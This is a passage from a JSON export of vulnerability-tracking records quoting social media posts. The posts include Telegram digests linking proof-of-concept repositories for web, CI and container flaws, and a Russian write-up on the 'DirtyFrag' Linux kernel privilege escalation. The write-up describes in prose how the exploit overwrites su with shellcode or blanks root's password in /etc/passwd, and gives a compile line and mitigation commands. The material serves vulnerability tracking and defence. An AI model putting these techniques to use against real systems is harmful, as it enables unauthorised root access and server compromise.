Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.931136Z"}, {"uuid": "8ed2bbe1-dda5-43f8-904c-0f33ab81c378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31267", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdg4zqogq2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31267 \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 Mercusys MW302R: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BF86A01D-FCC5-4DB3-84C1-DE174EA8E800", "creation_timestamp": "2026-07-11T00:34:43.773401Z"}, {"uuid": "e7b061de-0a3e-48be-890d-73454e713348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31927", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdqz7pe5h2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31927 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 Anviz CX7: \u0443\u0433\u0440\u043e\u0437\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 CSV-\u0444\u0430\u0439\u043b\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/B848DF39-66A8-4B20-9FFA-9A6C54C00FA3", "creation_timestamp": "2026-07-11T03:49:27.163028Z"}, {"uuid": "288e11a7-d6dc-410e-ba09-860f74de683f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mqdv2lw7w62b", "content": "Linux kernel's FUSE flaw (CVE-2026-31694) lets local users gain root access. Update systems now. #LinuxKernel #FUSE #CVE202631694 #SecurityVulnerability #PrivilegeEscalation #CyberSecurity thedailytechfeed.com/linux-kernel...", "creation_timestamp": "2026-07-11T05:01:48.968525Z"}, {"uuid": "d619b392-92e4-40f1-bb95-7e2580c1df4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31984", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqe5qcokoh2m", "content": "\ud83d\udccc CVE-2026-31984 - A denial-of-service vulnerability caused by unbounded resource allocation was discovered in the audit logging functionality, due to a missing size lim... https://www.cyberhub.blog/cves/CVE-2026-31984", "creation_timestamp": "2026-07-11T07:37:07.767796Z"}, {"uuid": "f171785c-7090-42bd-ad72-a585dde386df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97920", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-python\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 1m1ssher\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-13 16:35:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nZero-dependency Python PoC for CVE-2026-31431, Linux kernel LPE via AF_ALG/splice page-cache corruption.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-13T18:00:03.894152Z"}, {"uuid": "811d9130-9b36-4e6b-b26b-83b07bd71042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31854", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30461", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, carefully filtered to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-35102\n\ud83c\udfaf TYPO3 CMS \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/secf00tprint/CVE-2026-35102\n\n\ud83e\udde0 Overview\nA vulnerability in TYPO3 CMS allows attackers to execute arbitrary code due to improper input validation in backend modules.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CMS compromise\n\u2022 Privileged access escalation\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-34419\n\ud83c\udfaf Atlassian Confluence \u2013 OGNL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4tyam/CVE-2026-34419\n\n\ud83e\udde0 Overview\nAn OGNL injection vulnerability allows attackers to execute arbitrary expressions, potentially leading to remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Enterprise system compromise\n\u2022 Sensitive data exposure\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-33788\n\ud83c\udfaf WordPress Plugin \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0x3f97/CVE-2026-33788\n\n\ud83e\udde0 Overview\nA vulnerable WordPress plugin allows attackers to upload malicious files without proper validation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full website compromise\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32677\n\ud83c\udfaf Docker Environment \u2013 Privilege Escalation\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitdev/CVE-2026-32677\n\n\ud83e\udde0 Overview\nA misconfiguration or vulnerability in Docker environments allows attackers to escalate privileges and escape container isolation.\n\n\u2699\ufe0f Impact\n\u2022 Container escape\n\u2022 Privilege escalation\n\u2022 Host compromise\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-31854\n\ud83c\udfaf PHP Application \u2013 Remote File Inclusion (RFI)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/hax0rz/CVE-2026-31854\n\n\ud83e\udde0 Overview\nA remote file inclusion vulnerability allows attackers to load external malicious scripts into the application.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Data exfiltration\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch diff analysis\n\u2022 Web / system vulnerability research\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:36.453936Z"}, {"uuid": "81b8b899-1fdf-4584-a2ad-79818c641da3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/wh_lab/665", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-08-16T00:00:48.660929Z"}, {"uuid": "b3a81552-ca50-431a-8d5b-161f64ae457a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/6868", "content": "\ud83d\udd39 Luntry \u0432 Hall of Fame: \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Istio \n\nIstio \u2014 \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 service mesh-\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043c\u0438\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f 